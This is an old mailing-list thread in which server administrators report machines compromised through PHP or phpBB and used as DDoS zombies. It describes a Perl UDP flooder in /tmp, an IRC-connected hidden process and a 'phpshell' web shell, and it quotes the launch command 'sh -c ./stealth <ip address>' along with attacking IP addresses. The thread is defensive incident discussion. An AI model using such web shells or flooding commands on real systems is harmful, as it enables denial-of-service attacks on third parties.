> Looks like it ignores all the `kill` signals, not sure how I can actually
> kill it...

As root.

> here's d0s.txt:

Connects to an irc server, forking to make its name less obvious
on the process list.

Steve
--
# Debian System Administration
www.debian-administration.org/

[Nick Bright]

I have also had two servers compromised in a similar manner. Both
machines were running White Box Enterprise Linux 3.0 (RedHat EL clone,
for those not familier), and both were up to date with all the latest
patches (I update weekly, except for the kernel).

On the first machine, about two or three weeks ago, I discovered a shell
running a perl script out of /tmp which was a UDP DDoS zombie program.
As far as I could tell, it got in through PHP somewhere, but I couldn't
tell where for sure. It's possible it came in through a vulnerable
phpBB2 installation, but I can not say for sure.

The second machine, which has been the subject of DDoS attacking for the
past week (about 40 megabits of inbound UDP traffic hitting the machine
for around 30 to 40 minutes, at random periods), ended up being a DDoS
zombie as well - sevearly effecting my systems by consuming all of my
bandwidth. This one definately got in through php, as I found several
php files containing a "phpshell" program which was obviously used to
execute the shell commands which started a "sh -c ./stealth <ip
address>" process which DOS'd the target host. However, I really have no
idea /how/ this happened.

I have also heard from other people 'round the net and IRC that this is
happening to a lot of servers. Is this a security vulnerability in
Apache2/PHP, or simply a case of an exploitable configuration that many
people use?

Some notes I've made on the situation, nearly all attacking hosts have
been IP addresses that are assigned through RIPE (thus, are in europe)
They appear to be compromised servers. One IP address making repeated
requests for the now removed phpshell file is 83.103.184.208, also
assigned through RIPE. Another odd thing was that 69.218.121.228 made
quite a few requests of my server searching for things like "/forum",
"/phpBB", "/bb" and the like, obviously looking for exploitable phpBB
installations.

I have no evidence to say such, but I think the attacks I was on the
receiving end of, are the same type of attack that was being dished out.
I have the UDP flooder script that was deposited in /tmp on the first
server, but (oddly) I couldn't locate the "stealth" script on the second
server. Try as I might, I could not locate a file by that name on the
filesystem.

On Sat, 2005-04-30 at 22:11, a.list.address@gmail.com wrote:
> Looks like someone was trying to use your server as a DDoS zombie.
> What kind of Perl or PHP scripts are on your server? Look in your
> Apache access log for POST requests that may have uploaded one of
> these files, or GET/POST requests that may have uploaded a URL to
> download one of these files. See if you can figure out how it got on
> your server.
--
- Nick Bright
Terraworld, Inc
888-332-1616 x315
http://home.terraworld.net